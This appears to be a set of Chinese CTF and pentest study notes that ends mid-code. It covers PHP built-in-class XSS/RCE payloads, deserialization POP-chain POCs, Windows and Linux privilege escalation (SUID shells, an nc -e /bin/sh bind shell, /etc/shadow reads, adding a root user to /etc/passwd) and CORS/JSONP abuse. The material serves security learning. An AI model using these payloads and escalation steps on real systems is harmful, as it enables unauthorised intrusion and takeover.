原生类,顾名思义是php自带的类。而之前我们反序列化常见的是自己构建的类,这里的利用对象是php自带的类。

报错类

Error

在PHP7版本中,因为Error中带有__toString方法,该方法会将传入给__toString的参数原封不动的输出到浏览器。在这么一个过程中可能会产生XSS

例如,有以下代码

1
2
3
4
<?php
$a = $_GET['a'];
$b = $_GET['b'];
echo new $a($b);

当传入下方payload的时候

1
?a=Error&b=<script>alert("Lxxx");</script>

图片

Exception

与Error类似,Exception同样有__toString方法,因此测试代码和上方一样,传入以下payload,同样可以XSS

1
?a=Exception&b=<script>alert("Lxxx");</script>

图片

以上代码都能被执行,那我们可以尝试传一句话木马

1
?a=Exception&b=eval($_POST[1]);

如果说直接按照上面的写法传入一个写法,只会原封不动打印出来,所以我们需要把测试代码换一个写法。

1
2
3
4
<?php
$a = $_GET['a'];
$b = $_GET['b'];
eval("echo new $a($b());");

这时候传入的payload:
?a=Exception&b=system(‘whoami’)

图片

这里虽然报错了,但是可以rce,RCE的主要原因不是Exception这个类,而是因为PHP会先执行括号内的内容,如果执行括号内的内容没有报错,再执行括号外的报错,没有报错的部分的命令同样被正常执行。因此如果将上方测试代码的第四行eval删去,则无法进行RCE

遍历目录类

DirectoryIterator

DirectoryIterator类的__construct方法会构造一个迭代器,如果使用echo输出该迭代器,将会返回迭代器的第一项

例子:

1
2
3
4
<?php
$a = $_GET['a'];
$b = $_GET['b'];
echo new $a($b);

传入payload:

1
?a=DirectoryIterator&b=.

图片

返回一个点,这里为啥返回点,建议去linux系统实际操作(因为linux里查看所有文件的第一个文件都是一个点.)

这个点代表是当前目录,如果我们想要匹配其余文件,可以使用glob协议

1
?a=DirectoryIterator&b=glob://flag*

图片

如果这个时候不知道flag文件名怎么办

如果这个时候不知道flag文件名怎么办,所以可以尝试用暴力搜索

1
?a=DirectoryIterator&b=glob://f[k-m]*

图片

glob协议同样是支持通配符,包括ascii码中的部分匹配,例如想要匹配大写字母,那么就写[@-[]表示ASCII码字符从@[都允许匹配,也就是匹配大写字母

FilesystemIterator

如果DirectoryIterator类被禁用了,还有FilesystemIterator类可以代替,使用方法和DirectoryIterator类差不多

图片

GlobIterator

GlobIterator和上方这两个类差不多,不过glob是GlobIterator类本身自带的,因此在遍历的时候,就不需要带上glob协议头了,只需要后面的相关内容

1
?a=GlobIterator&b=f[k-m]*

图片

SplFileObject

读取文件类

SplFileObject

SplFileObject类为文件提供了一个面向对象接口,说人话就是这个类可以用来读文件。

1
2
3
4
<?php
$a = $_GET['a'];
$b = $_GET['b'];
echo new $a($b);

传payload进去:

1
?a=SplFileObject&b=flag.php

图片

SplFileObject这个类返回的仍然是一个迭代器,想要将内容完整的输出出来,最容易想到的自然是利用foreach遍历 ,这里可以看下官方文档对该类的__construct方法

图片

可以看到官方文档要求我们传入参数是一个文件名,而如果参数是文件名的话,我们可以尝试用伪协议

传入payload

1
?a=SplFileObject&b=php://filter/convert.base64-encode/resource=flag.php

反射类

ReflectionClass

ReflectionClass反射类在PHP5新加入,继承自Reflector,它可以与已定义的类建立映射关系,通过反射类可以对类操作

反射类不仅仅可以建立对类的映射,也可以建立对PHP基本方法的映射,并且返回基本方法执行的情况。因此可以通过建立反射类new ReflectionClass(system('cmd'))来执行命令

这里拿ctfshow的web109作例题

1
2
3
4
5
6
7
8
9
10
11
<?php 
highlight_file(__FILE__); 
error_reporting(0); 
if(isset($_GET['v1']) && isset($_GET['v2'])){ 
    $v1 = $_GET['v1']; 
    $v2 = $_GET['v2']; 
    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){ 
            eval("echo new $v1($v2());"); 
    } 

?>

已知了flag在./fl36dg.txt,命令执行system(‘cat fl36dg.txt’)获取flag,所以应该传入如下参数

1
v1=ReflectionClass&v2=system("ls")

ReflectionMethod

和ReflectionClass一样

反序列化的防御

因为反序列化的缺陷可能导致远程代码执行等严重的攻击,所以我们需要对其进行防护:

  1. 对传入 unserilize() 的参数,进行严格地过滤。
  2. 在文件系统函数的参数可控时,进行严格地过滤。
  3. 严格检查上传文件内容,不能只是单纯地检查文件头(phar)
  4. 条件允许的情况下,禁用可执行系统命令、代码的危险函数。
  5. 注意不同类中的同名方法的编写,避免被用作反序列化的跳板。
  6. Session方面,一个是多文件间使用一种序列化引擎;二是尽量不要让session可控;三是保持session.upload_progress.cleanup = On (上传完成之后删除session文件)

PHP反序列化之pop链

POP链介绍

POP 面向属性编程(Property-Oriented Programing) 常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,,而我们的反序列化是通过控制对象的属性从而实现控制程序的执行流程,进而达成利用本身无害的代码进行有害操作的目的

而构造pop链的要素就是要熟悉类里的成员变量以及魔术方法。关于魔术方法这里不做过多介绍,可以看下https://segmentfault.com/a/1190000007250604这篇文章

反序列化的常见起点

  • __wakeup 一定会调用

  • __destruct 一定会调用

  • __toString 当一个对象被反序列化后又被当做字符串使用

    反序列化的常见中间跳板

  • __toString 当一个对象被当做字符串使用

  • __get 读取不可访问或不存在属性时被调用

  • __set 当给不可访问或不存在属性赋值时被调用

  • __isset 对不可访问或不存在的属性调用isset()或empty()时被调用。形如 $this->$func();

    反序列化的常见终点

  • __call 调用不可访问或不存在的方法时被调用

  • call_user_func 一般php代码执行都会选择这里

  • call_user_func_array 一般php代码执行都会选择这里
    这里用三个demo来练习

DEMO1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<?php
//flag is in flag.php
error_reporting(0);
class Read {
    public $var;
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
    public function __invoke(){
        $content = $this->file_get($this->var);
        echo $content;
    }
}
class Show
{
    public $source;
    public $str;
    public function __construct($file='index.php')
    {
        $this->source = $file;
        echo $this->source.'Welcome'."<br>";
    }
    public function __toString()
    {
        return $this->str['str']->source;
    }
    public function _show()
    {
        if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
            die('hacker');
        } else {
            highlight_file($this->source); 
        }
    }
    public function __wakeup()
    {
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $p;
    public function __construct()
    {
        $this->p = array();
    }

    public function __get($key)
    {
        $function = $this->p;
        return $function();
    }
}
if(isset($_GET['hello']))
{
    unserialize($_GET['hello']);
}
else
{
    $show = new Show('pop3.php');
    $show->_show();
}

接下来我们来分析构造POP链的过程,先看最后,get请求传入一个hello参数,然后对他进行反序列化。

  1. 我们要寻找危险的函数,比如这个DEMO中在Read对象中存在一个file_get(0方法,其中用了file_get_contents读文件,我们大概就懂了题目应该是要通过调用这个方法来读取我们的flag.php文件。
  2. 然后我们来观察每个对象的各种魔术方法,入口多为wakeup,destruct,tostring魔术方法中,我们可以发现Show对象中存在一个tostring魔术方法和一个wakeup魔术方法,在执行unserialize函数的时候会先触发wakeup方法
  3. wakeup魔术方法中对Show对象的source属性进行了一个正则匹配,对应的第二个参数本应为字符串,但是这里如果source属性是某个类的对象,就会触发tostring方法,tostring也是Show对象中的魔术方法,所以这里的source属性应为一个Show类的对象。
  4. tostring中,返回了当前对象的键为str的value值给source,如果这个value不存在,可能会触发__get()魔术方法。
  5. 我们接着寻找,发现在Test类中存在着__get()魔术方法,把当前对象的p属性赋给了function变量,并且以函数的形式去执行,所以如果这里的p属性是一个对象的话,就可以能调用__invoke()魔术方法
  6. 发现Read类中存在__invoke()魔术方法,其中调用了本类中的file_get函数,以var作为形参,所以这里的var应该为flag.php
    POC:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class Read {
    public $var="flag.php";
}
class Show
{
    public $source;
    public $str;
}
class Test
{
    public $p;
}
$R=new Read();
$S=new Show();
$T=new Test();
$T->p=$R;
$S->str['str']=$T;
$S->source=$S;
echo urlencode(serialize($S));

DEMO2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
class start_gg
{
        public $mod1;
        public $mod2;
        public function __destruct()
        {
                $this->mod1->test1();
        }
}
class Call
{
        public $mod1;
        public $mod2;
        public function test1()
    {
            $this->mod1->test2();
    }
}
class funct
{
        public $mod1;
        public $mod2;
        public function __call($test2,$arr)
        {
                $s1 = $this->mod1;
                $s1();
        }
}
class func
{
        public $mod1;
        public $mod2;
        public function __invoke()
        {
                $this->mod2 = "字符串拼接".$this->mod1;
        } 
}
class string1
{
        public $str1;
        public $str2;
        public function __toString()
        {
                $this->str1->get_flag();
                return "1";
        }
}
class GetFlag
{
        public function get_flag()
        {
                echo "flag:"."xxxxxxxxxxxx";
        }
}
$a = $_GET['string'];
unserialize($a);
?>
  1. 拿到代码,先寻找危险函数,发现在GetFlag类中存在get_flag()函数,输出flag,所以我们最终是需要通过调用GetFlag()中的get_flag()函数来输出我们的flag
  2. string1类中的tostring调用了自身str1属性的get_flag()方法,这里可以知道我们需要把string1的类的str1属性的值是GetFlag类的一个对象,并且需要调用到string1类的tostring这个方法才可以输出flag
  3. 继续往上看,func类的invoke魔术方法拼接了”字符串拼接”和自身的mod1属性的值给了自身的mod2属性,这里如果mod1属性的值是string1的对象,会触发string1对象的tostring方法
  4. 如果要触发func的invoke魔术方法,我们需要用函数的方式来调用func对象,这里可以发现funct中call魔术方法中以函数的形式调用了自身的mod1属性,如果这里的mod1属性是func的对象,就会触发func类中的invoke方法
  5. 需要调用到func类中的invoke方法,必须先调用到funct类中的call魔术方法,call魔术方法是要调用了不存在的方法才会触发,可以看到Call类中的test1方法调用了自身mod1属性下的test2方法,这里如果mod1是funct的一个对象,就可以触发funct的call方法
  6. 然后是start_gg类,,destruct魔术方法调用了自身mod1的test1方法,所以这里应该是个入口,我们需要先让他的mod1为Call类的一个对象
    POC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<?php
class start_gg
{
        public $mod1;
        public $mod2;
        public function __construct()
        {
                $this->mod1= new Call();
        }
        public function __destruct()
        {
                $this->mod1->test1();
        }
}
class Call
{
        public $mod1;
        public $mod2;
        public function __construct()
        {
                $this->mod1= new funct();
        }
        public function test1()
    {
            $this->mod1->test2();
    }
}
class funct
{
        public $mod1;
        public $mod2;
        public function __construct()
        {
                $this->mod1= new func();
        }
        public function __call($test2,$arr)
        {
                $s1 = $this->mod1;
                $s1();
        }
}
class func
{
        public $mod1;
        public $mod2;
        public function __construct()
        {
                $this->mod1= new string1();
        }
        public function __invoke()
        {
                $this->mod2 = "字符串拼接".$this->mod1;
        } 
}
class string1
{
        public $str1;
        public $str2;
        public function __construct()
        {
                $this->str1= new GetFlag();
        }
        public function __toString()
        {
                $this->str1->get_flag();
                return "1";
        }
}
class GetFlag
{
        public function get_flag()
        {
                echo "flag:"."xxxxxxxxxxxx";
        }
}
$a = new start_gg();
echo urlencode(serialize($a));
?>

DEMO3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php
highlight_file(__FILE__);
class A
{
  public $a;
  private $b;
  protected $c;
  public function __construct($a, $b, $c)
  {
    $this->a = $a;
    $this->b = $b;
    $this->c = $c;
  }
  protected function flag()
  {
    echo file_get_contents('/flag');
  }

  public function __call($name, $arguments)
  {
    call_user_func([$name, $arguments[0]]);
  }

  public function __destruct()
  {
    return 'this a:' . $this->a;
  }
  public function __wakeup()
  {
    $this->a = 1;
    $this->b = 2;
    $this->c = 3;
  }
}
class B
{
  public $a;
  private $b;
  protected $c;
  public function __construct($a, $b, $c)
  {
    $this->a = $a;
    $this->b = $b;
    $this->c = $c;
  }
  public function b()
  {
    echo $this->b;
  }
  public function __toString()
  {
    $this->a->a($this->b);
    return 'this is B';
  }
}
if (isset($_GET['str']))
  unserialize($_GET['str']);
  1. 这题比较简单,只有两个类,类A中有读取flag文件的方法flag(),还有wakeup方法,起点基本就是类A
  2. 这里A类里有wakeup魔术方法会对A类下面的属性赋值,所以需要绕过,绕过很简单。属性的数量加1即可,然后destruct魔术方法返回了”this a:”与A类下的属性a的值进行拼接
  3. 如果属性a的值为一个对象,会触发tostring魔术方法,刚好B类中有这个魔术方法,并且调用了B类中的属性A的a方法,如果有call魔术方法会进行调用,恰好A类中有call魔术方法。
  4. call返回了call_user_func()函数,这里我看了半天没看明白,最后的在别的师傅的指导下我看明白了,[arguments[0]]就是arguments[0],也就是说我们如果要调用这个flag,需要name==A,$arguments[0]==flag.构造poc即可
    POC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
class A
{
  public $a;
  private $b;
  protected $c; 
}
class B
{
  public $a;
  private $b;
  protected $c;
  public function __construct()
  {
    $this->b='flag';
  }
}
$t=new A();
$s=new B();
$s->a=$t;
$t->a=$s;
$p=serialize($t);
$p=str_replace('A":3','A":4',$p);
echo $p;
echo '</br>';
echo urlencode($p);

系统常见命令

参考链接:https://www.cnblogs.com/kekec/p/3662125.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
ipconfig /all 查询网络配置
dir 列出当前目录下的文件以及文件夹
whoami 显示当前用户
cd /d d: 进入d盘
md test 创建名为test的文件夹
copy nul 1.txt 创建空文件
type 1.txt 查看文件内容
del 1.txt 删除文件
del /f test 删除 test 文件夹下的所有文件
copy 1.txt d:\doc 将1.txt复制到 d:\doc 下
net user 查看所有用户
net user test 查看test用户信息
net user test password /add 添加用户
net user test /delete 删除 test 用户
net user test newPassword 重置 test 用户密码
tasklist 显示当前的进程信息
taskkill /im notedpad.exe 结束名为 notepad 的进程
taskkill /pid 1234 /t 结束pid为1234的进程以及其子进程
taskkill /f /im notepad.exe /t 强制结束名为 notepad 的进程及其子进程
wmic process where Caption="notepad.exe" get commandline,executablepath,processid /value 获取进程名为 notepad.exe 的命令行,exe 全路径,pid 号
netstat -ano 查看开启的端口连接情况
findstr /i "hello" 1.txt 忽略大小写在 1.txt 中寻找 hello 字符串
sc delete 服务名 删除服务
systeminfo 查看操作系统等版本信息
netstat -ano 查看端口列表
set 环境变量

具体操作

内核溢出漏洞提权

systeminfo 根据缺失补丁进行判断

提权辅助页面:https://i.hacking8.com/tiquan/

将补丁号输入,查询可利用的 windows 提权

利用 windows-Exploit Suggester 进行检测

https://github.com/AonCyberLabs/Windows-Exploit-Suggester

MS16-032

补丁:KB3139914

exp:https://raw.githubusercontent.com/FuzzySecurity/PowerShell-Suite/master/Invoke-MS16-032.ps1

注意这里是 .空格.\xxx.ps1 图片

在弹出来的 cmd 中执行 whoami 发现成功提权

服务权限配置错误

当碰到无法通过内核溢出漏洞来提权的时候可以尝试利用系统中的错误配置来进行提权,例如管理员配置错误,服务器凭证配置错误等

PowerUp

地址:https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1

1
powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}"

注册表键 AlwaysInstallElevated
AlwaysInstallElevated是一个策略设置项,Windows 允许低权限用户以 system 权限运行安装文件,如果开启了这个策略的话那么任何权限的用户都能以 system权限来安装恶意 MSI

当设置了该项之后,注册表的这里会置1

图片

可信服务路径漏洞

简介:如果一个服务的可执行文件的路径没有被双引号引起来且包含空格,那么这个服务就是有漏洞的。

原理:对于C:\Program Files\Some Folder\Service.exe文件路径中的每一个空格,windows都会尝试寻找并执行名字与空格前的名字向匹配的程序。操作系统会对文件路径中空格的所有可能进行尝试,直到找到一个匹配的程序。以上面的例子为例,windows会依次尝试确定和执行下面的程序:

C:\Program.exe

C:\Program Files\Some.exe

C:\Program Files\Some Folder\Service.exe

所以如果我们能够上传一个适当命名的恶意可执行程序在受影响的目录,比如这里我把木马名字改了Program.exe,放在c盘小,一旦此服务重启,因为优先级的缘故,服务会优先选择我们木马Program.exe,而不是C:\Program Files\Some Folder\Service.exe,那么我们的恶意程序就会以system权限运行

可以利用如下命令来进行检测

1
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" | findstr /i /v "C:\Windows\\" |findstr /i /v """

令牌窃取

令牌(token)是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源,这些令牌将持续存在于系统中,除非系统重新启动

SweetPotato

编译好的版本:https://github.com/lengjibo/RedTeamTools/tree/master/windows/SweetPotato

BypassUAC

bypassUAC已经是老生长谈的话题了,用户帐户控制(UAC),它是Windows的一个安全功能,它支持防止对操作系统进行未经授权的修改,UAC确保仅在管理员授权的情况下进行某些更改

msf 的payload 中有对应的 bypass 模块

什么是权限

在Linux 系统中,ls -al 即可查看列出文件所属的权限

1
2
3
4
drwxr-xr-x  2 kali kali    4096 Jan 27 12:52 Downloads
-rw-r--r-- 1 root root 903 Jun 14 11:33 exp.html
-rw-r--r-- 1 root root 153600 May 5 09:42 flag
lrwxrwxrwx 1 kali kali 28 May 14 08:28 flagg -> /proc/self/cwd/flag/flag.jpg
1
-rw-r--r--  1 root root      56 Jun 16 23:29 hash.txt

这里可以分为7个字段。

  • 第一组数据 -rw-r--r--
    第一位:

- : 代表普通文件

d:代表目录

l:代表软链接

b:代表块文件

c:代表字符设备

第二及后面几位,分别三个为一组:

rw-r--r-- 代表文件所属的权限

r : 文件可读。w : 文件可修改。- : 表示暂时没有其他权限。x : 表示可执行

  1. rw- 表示文件所拥有者的权限。
  2. r-- 表示文件所在组的用户的权限。
  3. r-- 表示其他组的用户的权限。
  4. 第二组数据 1
    1. 如果文件类型为目录,表示目录下的字目录个数
    2. 如果文件类型是普通文件,这个数据就表示这个文件的硬链接个数
  5. 第三组数据 root . 表示该文件所有者为root 用户
  6. 第四组数据root. 表示该文件所在组为root 组
  7. 第五组数据56 表示文件的大小为多少字节。如果为一个目录,则为4096。
  8. 第六组数据表示最后一次修改时间
  9. 第七组数据表示文件名称
    如果为目录,r 表示可以进入该目录进行查看。 w 表示文件可以进行增加。x 表示可以进入这个目录。另外对于rwx,我们可以用数字进行替代,r=4,x=1,w=2

前置知识:

常见目录

1
2
3
4
5
6
7
8
9
这里简单说一下比较常见的目录
/bin: 里面存的都是比较基本的系统二进制命令类似 ls rm 等
/etc:其中基本都是文本文件用来设置我们的系统的,例如常见的 /etc/passwd /etc/shadow ,在 /etc/shadow 中用户的账号密码
/proc:并不存在硬盘上而是在内存中,其中记录了系统内核运行的一些信息
/usr/bin:一些应用程序的可执行部分
/usr/local/bin: 本地增加的命令,例如:python pip 等
/var/log:各种程序的日志,之前说的 apache nginx 日志就在这里面
/tmp:存放临时文件
.ssh:id_rsa.pub 公钥,id_rsa 私钥,authorized_keys授权文件,将公钥添加到 authorized_keys 中就可以不利用密码进行连接了, rsa_id.pub 和 id_rsa.pub 一般为 644 ,但是 id_rsa 一定要为 600

提权-信息搜集

要想成功提权,就要进行充分的信息搜集。

提权思路:大概思路是通过信息搜集查找可利用的文件/脚本/软件/用户/内核漏洞/特定平台漏洞/框架漏洞/组件/等,写入或执行恶意命令/脚本/shell/添加高权限用户,提权成功,然后进一步利用

基础信息搜集

内核,操作系统,设备信息

1
2
3
4
5
6
7
uname -a    打印所有可用的系统信息
uname -r 内核版本
uname -n 系统主机名。
uname -m 查看系统内核架构(64位/32位)
hostname 系统主机名
cat /proc/version 内核信息
cat /etc/*-release 分发信息

用户和群组

1
2
3
4
5
6
7
cat /etc/passwd     列出系统上的所有用户
cat /var/mail/root
cat /etc/group 列出系统上的所有组
whoami 查看当前用户
last 最后登录用户的列表
lastlog 所有用户上次登录的信息
lastlog –u %username% 有关指定用户上次登录的信息

用户权限信息

1
2
3
4
whoami        当前用户名
id 当前用户信息
cat /etc/sudoers 谁被允许以root身份执行
sudo -l 当前用户可以以root身份执行操作

环境信息

1
2
3
4
5
6
7
8
env        显示环境变量
set 现实环境变量
echo %PATH 路径信息
history 显示当前用户的历史命令记录
pwd 输出工作目录
cat /etc/profile 显示默认系统变量
cat /etc/shells 显示可用的shellrc
cat /etc/bashrc

进程和服务

1
2
3
4
ps aux
ps -ef
top
cat /etc/services

查看以root 运行的进程

1
2
ps aux | grep root
ps -ef | grep root

查看安装的软件

1
2
ls -alh /usr/bin/
dpkg -l

日志文件

1
2
3
4
5
6
7
cat /var/log/boot.log
cat /var/log/cron
cat /var/log/syslog
cat /var/log/wtmp
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log

交互式shell

1
2
3
python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh -i

可提权SUID && GUID

参考:https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

1
2
3
4
5
find / -perm -1000 -type d 2>/dev/null   # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.
find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it.
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID

查看可写/执行目录

1
2
3
4
5
6
7
find / -writable -type d 2>/dev/null      # world-writeable folders
find / -perm -222 -type d 2>/dev/null # world-writeable folders
find / -perm -o w -type d 2>/dev/null # world-writeable folders

find / -perm -o x -type d 2>/dev/null # world-executable folders

find / \( -perm -o w -perm -o x \) -type d 2>/dev/null # world-writeable & executable folders

具体操作

SUID 提权

suid全称是Set owner User ID up on execution。这是Linux给可执行文件的一个属性。通俗的理解为其他用户执行这个程序的时候可以用该程序所有者/组的权限。需要注意的是,只有程序的所有者是0号或其他super user,同时拥有suid权限,才可以提权
P神文章:https://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html

常见的可用来提权的Linux 可执行文件有:Nmap, Vim, find, bash, more, less, nano, cp

查看可以suid 提权的可执行文件

1
find / -perm -u=s -type f 2>/dev/null
1
2
ls -al /usr/bin/find
-rwsr-xr-x 1 root root 162424 Jan 6 2012 /usr/bin/find

find一般用来在系统中查找文件。同时,它也有执行命令的能力。 因此,如果配置为使用SUID权限运行,则可以通过find执行的命令都将以root身份去运行。比如在DC-1靶机中就能使用find进行提权
图片

绝大部分Linux系统都自带nc,所以也可以用nc进行反弹shell之类的操作

1
find aaa - exec nc -lvp 5555 -e /bin/sh \;
  • nmap
    老版本nmap 具有交互模式,version 2.02~5.21(5.2.0)

namp -V 查看nmap 版本信息

nmap --interactive

图片

MSF中有利用 SUID nmap提权的exp,search nmap后然后利用exploit/unix/local/setuid_nmap 漏洞利用模块即可

5.2.0 之后,nmap 还可以通过执行脚本来提权。

1
2
3
4
5
6
7
# nse 脚本,shell.nse
os.execute('/bin/sh')
# nmap 提权
nmap --script=shell.nse
或者
echo 'os.execute("/bin/sh")' > getshell
sudo nmap --script=getshell
  • vim
    如果vim 是通过SUID运行,就会继承root用户的权限。可读取只有root能读取的文件。

vim /etc/shadow

vim 运行shell

1
2
3
vim
:set shell=/bin/sh
:shell

同理less和more

内核漏洞

DC-3靶机,就是利用系统内核漏洞来进行提权

图片

searchsploit Ubuntu 16.04

将exp 下载下来,解压,编译,运行,即可get root 权限。

tar xvf exploit.tar

图片

利用root无密码执行

简单来说一个脚本,这个文件可以以root身份运行,若在无密码的情况下执行的话,我们可以通过修改脚本内容/或者直接执行这个命令,利用命令来进行一些操作,来进行提权。

比如常见的:

  • 写入一个root权限进入/etc/passwd 文件
    以DC-4为例子

图片

teehee -a 将输入的内容追加到另一个文件中

简单说下/etc/passwd 各个字段的含义

1
username:password:User ID:Group ID:comment:home directory:shell

利用环境变量提权

PATH 是Linux中的环境变量,它指定存储可执行程序的所有bin和sbin目录。当用户在终端上执行任何命令时,它会通过PATH变量来响应用户执行的命令,并向shell发送请求以搜索可执行文件。超级用户通常还具有/sbin和/usr/sbin条目,以便于系统管理命令的执行。

使用echo命令显示当前PATH环境变量:

图片

如果你在PATH变量中看到.,则意味着登录用户可以从当前目录执行二进制文件/脚本

1
2
3
4
5
6
7
8
#include<unistd.h>
void main()
{
setuid(0);
setgid(0);
system("cat /etc/passwd");
}
// aaa.c

图片

然后查看它的权限可以发现是有s 位,即suid。

现在我们在目标机器上用find / -perm -u=s -type f 2>/dev/null 来查看可以suid提权的文件,发现之前编译的shell可执行文件在里面

WEB前端中最常见的两种漏洞,XSS与CSRF,XSS,即跨站脚本攻击、CSRF即跨站请求伪造,这两者都有跨站,站顾名思义就是网站,而把这个概念扩大就是域。两者属于跨域安全攻击

一、 域

域,即域名对应的站点。不同的域名对应的不同的网站,相同的域名不同的端口也对应的不同的网站,因此域,从字面意思以及实际意思在web中代表的是网站

二、同源策略(SOP)

同源策略限制了从同一个源加载的资源如何与另一个源内的资源进行交互,该策略旨在阻止隔离恶意文件交互。具体表现为浏览器只允许请求当前域的资源,而对其他域的资源表示不信任。那怎么才算跨域呢?

  1. 请求协议http,https的不同
  2. domain的不同
  3. 端口port的不同

    三、跨域

跨域就如字面意思一样,跨过不同域之间的限制进行信息交互,其本质就是绕过同源策略的严格限制。究其根本是因为开发功能性与安全性会有一定的矛盾,例如有时候父域名下的不同子域名需要进行信息交互,如果还要进行同源限制,未必就有点不合时宜,所以就产生了一些跨域交流的技术。

四、跨域技术

跨域,从一个域到另一个域将其归为跨域。大致将其归结为两种情况:

1、跨域请求

2、跨域跳转

五、跨域威胁

常见的跨域威胁方面大概可分为JSONp或者Cors这两者

Cors 全称是”跨域资源共享”(Cross-origin resource sharing),具体作用就跟名字一样,主要用于跨域的资源共享信息交互。在了解具体流程时,先了解点前置知识。

  1. 简单请求:

1): 请求方式只能是:headgetpost

2): 请求头允许的字段:AcceptAccept-LanguageContent-LanguageLast-Event-IDContent-Type:application/x-www-form-urlencoded、multipart/form-data、text/plain 三选一

2.复杂请求:不满足上面的都是复杂请求

Cors可以通过在HTTP增加字段来告诉浏览器,哪些不同来源的服务器是有权访问本站资源的,当不同域的请求发生时,就出现了跨域的现象

简单请求:

当我们向一个不同域的网页发起简单请求时,浏览器会先对这个请求进行校对,会对请求头添加一个origin字段(谷歌游览器在非跨域情况下,也会发送origin字段)

图片

(字段里为当前域)

然后服务器对该请求进行检测,若符合要求,就能放行

图片

其中,Access-Control-Allow-Origin标识允许哪个域的请求。如果服务器不通过,根本没有这个字段,接着触发XHRonerror,再接着你就看到浏览器的提示xxx的服务器没有响应Access-Control-Allow-Origin字段

1
2
3
4
//指定允许其他域名访问
'Access-Control-Allow-Origin:http://172.20.0.206'//一般用法(*,指定域,动态设置),3是因为*不允许携带认证头和cookies
//是否允许后续请求携带认证信息(cookies),该值只能是true,否则不返回
'Access-Control-Allow-Credentials:true'

上面说到的Access-Control-Allow-Origin有多种设置方法:

  1. 设置*是最简单粗暴的,但是服务器出于安全考虑,肯定不会这么干,而且,如果是*的话,游览器将不会发送cookies,即使你的XHR设置了withCredentials
  2. 指定域,如上图中的http://172.20.0.206,一般的系统中间都有一个nginx,所以推荐这种
  3. 动态设置为请求域,多人协作时,多个前端对接一个后台
    withCredentials:表示XHR是否接收cookies和发送cookies,也就是说如果该值是false,响应头的Set-Cookie,浏览器也不会理,并且即使有目标站点的cookies,浏览器也不会发送

复杂请求:

最常见的情况,当我们使用putdelete请求时,浏览器会先发送option(预检)请求

预检请求

与简单请求不同的是,option请求多了2个字段:

Access-Control-Request-Method:该次请求的请求方式

Access-Control-Request-Headers:该次请求的自定义请求头字段,服务器检查通过后,做出响应:

1
2
3
4
5
6
7
8
9
10
//指定允许其他域名访问
'Access-Control-Allow-Origin:http://172.20.0.206'//一般用法(*,指定域,动态设置),3是因为*不允许携带认证头和cookies
//是否允许后续请求携带认证信息(cookies),该值只能是true,否则不返回
'Access-Control-Allow-Credentials:true'
//预检结果缓存时间,也就是上面说到的缓存啦
'Access-Control-Max-Age: 1800'
//允许的请求类型
'Access-Control-Allow-Methods:GET,POST,PUT,POST'
//允许的请求头字段
'Access-Control-Allow-Headers:x-requested-with,content-type'

这里有个注意点:Access-Control-Request-MethodAccess-Control-Request-Headers返回的是满足服务器要求的所有请求方式,请求头,不限于该次请求 实际案例:
以一加官网为例

登陆后,访问个人信息,然后利用burpsuite抓包,修改origin的域,发现任意域都可以被服务器接受

图片

构造exp

图片

成功利用

JSONp,全称是(JSON with Padding)。是一种简单的服务器与客户端跨域通信的办法,此种跨域只能发起GET请求。其基本思想是网页通过添加一个script元素,向服务器请求JSON数据,这种做法不受同源策略限制。服务器收到请求后,将数据放在一个指定名字的回调函数里传回来

原理:通过script标签引入一个js文件,这个js文件载入成功后会执行我们在url参数中指定的函数,并且会把我们需要的json数据作为参数传入

例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
function addScriptTag(src) {
var script = document.createElement('script');
script.setAttribute("type","text/javascript");
script.src = src;
document.body.appendChild(script);
}

window.onload = function () {
addScriptTag('http://example.com/ip?callback=foo');
}
function foo(data) {
